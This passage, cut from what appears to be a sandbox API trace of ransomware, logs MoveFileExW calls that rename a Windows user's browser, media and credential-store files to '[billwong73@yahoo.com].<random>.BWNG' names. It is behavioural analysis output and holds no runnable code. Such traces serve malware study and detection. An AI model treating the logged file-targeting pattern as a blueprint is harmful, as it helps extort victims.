Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\[billwong73@yahoo.com].kfO9JQan-sJawX06f.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\[billwong73@yahoo.com].kfo9jqan-sjawx06f.bwng"), dwFlags=0x1) returned 1 [0132.531] GetTickCount () returned 0x11689d9 [0132.531] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27448329764) returned 1 [0132.531] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\[billwong73@yahoo.com].rn30Ew6q-EN40XrlY.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\[billwong73@yahoo.com].rn30ew6q-en40xrly.bwng"), dwFlags=0x1) returned 1 [0132.533] GetTickCount () returned 0x11689d9 [0132.533] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27448499095) returned 1 [0132.533] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\[billwong73@yahoo.com].EfcuFrNC-1RR7ciOl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\[billwong73@yahoo.com].efcufrnc-1rr7ciol.bwng"), dwFlags=0x1) returned 1 [0132.534] GetTickCount () returned 0x11689d9 [0132.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27448660298) returned 1 [0132.536] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\[billwong73@yahoo.com].toivVWlp-vUJ8qlaQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\[billwong73@yahoo.com].toivvwlp-vuj8qlaq.bwng"), dwFlags=0x1) returned 1 [0132.537] GetTickCount () returned 0x11689d9 [0132.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27448946091) returned 1 [0132.537] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\manifest-000001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Local Extension Settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\[billwong73@yahoo.com].VgCkvu7M-xTgsvGb4.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\local extension settings\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\[billwong73@yahoo.com].vgckvu7m-xtgsvgb4.bwng"), dwFlags=0x1) returned 1 [0132.539] GetTickCount () returned 0x11689e8 [0132.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27449132326) returned 1 [0132.539] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Shortcuts" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\shortcuts"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].yeEI9c4y-ZNjp32D6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].yeei9c4y-znjp32d6.bwng"), dwFlags=0x1) returned 1 [0132.541] GetTickCount () returned 0x11689e8 [0132.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27449304204) returned 1 [0132.541] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\safe browsing channel ids"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\[billwong73@yahoo.com].rTb2CPuw-xkF0gt42.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\[billwong73@yahoo.com].rtb2cpuw-xkf0gt42.bwng"), dwFlags=0x1) returned 1 [0132.542] GetTickCount () returned 0x11689e8 [0132.542] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27449459875) returned 1 [0132.543] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\[billwong73@yahoo.com].Xf79dicX-UipPn4v0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\[billwong73@yahoo.com].xf79dicx-uippn4v0.bwng"), dwFlags=0x1) returned 1 [0132.680] GetTickCount () returned 0x1168a75 [0132.680] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27463226882) returned 1 [0132.681] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\[billwong73@yahoo.com].ZsBWvhcY-IwRVHS1o.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\[billwong73@yahoo.com].zsbwvhcy-iwrvhs1o.bwng"), dwFlags=0x1) returned 1 [0132.682] GetTickCount () returned 0x1168a75 [0132.682] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27463445782) returned 1 [0132.683] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].fgDDhzkY-mpYusJEn.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].fgddhzky-mpyusjen.bwng"), dwFlags=0x1) returned 1 [0132.684] GetTickCount () returned 0x1168a75 [0132.684] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27463593801) returned 1 [0132.684] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\828298824ea5549947c17ddabf6871f5_0206efbc540300c3bf0163cdbc3d7d56"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].Df4gGSla-4sSI6W87.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].df4ggsla-4ssi6w87.bwng"), dwFlags=0x1) returned 1 [0132.685] GetTickCount () returned 0x1168a75 [0132.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27463730563) returned 1 [0132.685] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\acf244f1a10d4dbed0d88eba0c43a9b5_ba1ab6c2bdfdf57799e8116e4002d001"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].FoBQWcrA-MPLDjqRj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].fobqwcra-mpldjqrj.bwng"), dwFlags=0x1) returned 1 [0132.686] GetTickCount () returned 0x1168a75 [0132.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27463867559) returned 1 [0132.687] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\d52c56d8f24bec96604372afbaf264e1_e76a2b627dd019eb51d9335f24b14c2c"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\[billwong73@yahoo.com].a5cef5YB-X20tVPD3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\[billwong73@yahoo.com].a5cef5yb-x20tvpd3.bwng"), dwFlags=0x1) returned 1 [0132.688] GetTickCount () returned 0x1168a75 [0132.688] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27463987148) returned 1 [0132.688] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1rUfIvRccl2H.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\1rufivrccl2h.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].n8YX447g-t6RbSGbl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].n8yx447g-t6rbsgbl.bwng"), dwFlags=0x1) returned 1 [0132.690] GetTickCount () returned 0x1168a75 [0132.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27464191371) returned 1 [0132.690] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\bGwLjUMEpfCRmmK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bgwljumepfcrmmk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].jNwqEUA5-8kWYWazV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].jnwqeua5-8kwywazv.bwng"), dwFlags=0x1) returned 1 [0132.691] GetTickCount () returned 0x1168a75 [0132.691] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27464353330) returned 1 [0132.692] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MAhdLs.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mahdls.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].U6wi2c5x-i24IGHW3.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].u6wi2c5x-i24ighw3.bwng"), dwFlags=0x1) returned 1 [0132.693] GetTickCount () returned 0x1168a75 [0132.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27464515145) returned 1 [0132.693] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\8810fd05-85a2-4fca-b97e-260fb5647b37" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\8810fd05-85a2-4fca-b97e-260fb5647b37"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].cOqZrYL0-aTdu5wXq.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3388679973-3930757225-3770151564-1000\\[billwong73@yahoo.com].coqzryl0-atdu5wxq.bwng"), dwFlags=0x1) returned 1 [0132.941] GetTickCount () returned 0x1168af2 [0132.941] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27489451844) returned 1 [0132.943] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\extensions.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\extensions.ini"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\[billwong73@yahoo.com].5IobofHc-7wxMVvx7.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\[billwong73@yahoo.com].5iobofhc-7wxmvvx7.bwng"), dwFlags=0x1) returned 1 [0132.945] GetTickCount () returned 0x1168b01 [0132.945] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27489712343) returned 1 [0132.945] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\obH3X.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\obh3x.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\[billwong73@yahoo.com].gV9dnEa0-9LTZ0Ult.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\[billwong73@yahoo.com].gv9dnea0-9ltz0ult.bwng"), dwFlags=0x1) returned 1 [0132.946] GetTickCount () returned 0x1168b01 [0132.946] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27489872323) returned 1 [0132.947] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\LOG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\log"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\[billwong73@yahoo.com].7A6EkTEm-16xlutJc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\[billwong73@yahoo.com].7a6ektem-16xlutjc.bwng"), dwFlags=0x1) returned 1 [0132.948] GetTickCount () returned 0x1168b01 [0132.948] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490022182) returned 1 [0132.948] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\[billwong73@yahoo.com].JymT6shN-QcRmrcWp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ar\\[billwong73@yahoo.com].jymt6shn-qcrmrcwp.bwng"), dwFlags=0x1) returned 1 [0132.950] GetTickCount () returned 0x1168b01 [0132.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490198951) returned 1 [0132.950] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\[billwong73@yahoo.com].MSC7QIcv-a82z1ExF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\[billwong73@yahoo.com].msc7qicv-a82z1exf.bwng"), dwFlags=0x1) returned 1 [0132.951] GetTickCount () returned 0x1168b01 [0132.951] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490357410) returned 1 [0132.952] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\[billwong73@yahoo.com].dumQMmQL-Y2EeOK62.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\[billwong73@yahoo.com].dumqmmql-y2eeok62.bwng"), dwFlags=0x1) returned 1 [0132.953] GetTickCount () returned 0x1168b01 [0132.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490523787) returned 1 [0132.953] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\[billwong73@yahoo.com].PRsF1GA7-74Zyo1OU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\[billwong73@yahoo.com].prsf1ga7-74zyo1ou.bwng"), dwFlags=0x1) returned 1 [0132.955] GetTickCount () returned 0x1168b01 [0132.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490690857) returned 1 [0132.955] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\[billwong73@yahoo.com].CmI1WGNS-TeEZRgTH.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\[billwong73@yahoo.com].cmi1wgns-teezrgth.bwng"), dwFlags=0x1) returned 1 [0132.956] GetTickCount () returned 0x1168b01 [0132.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490835596) returned 1 [0132.956] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\[billwong73@yahoo.com].L8sNTpZI-CrI2cr7Q.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\[billwong73@yahoo.com].l8sntpzi-cri2cr7q.bwng"), dwFlags=0x1) returned 1 [0132.958] GetTickCount () returned 0x1168b01 [0132.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27490985931) returned 1 [0132.958] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\[billwong73@yahoo.com].0uXPJIR7-QhaGegcx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\et\\[billwong73@yahoo.com].0uxpjir7-qhagegcx.bwng"), dwFlags=0x1) returned 1 [0132.959] GetTickCount () returned 0x1168b11 [0132.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27491156955) returned 1 [0132.960] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 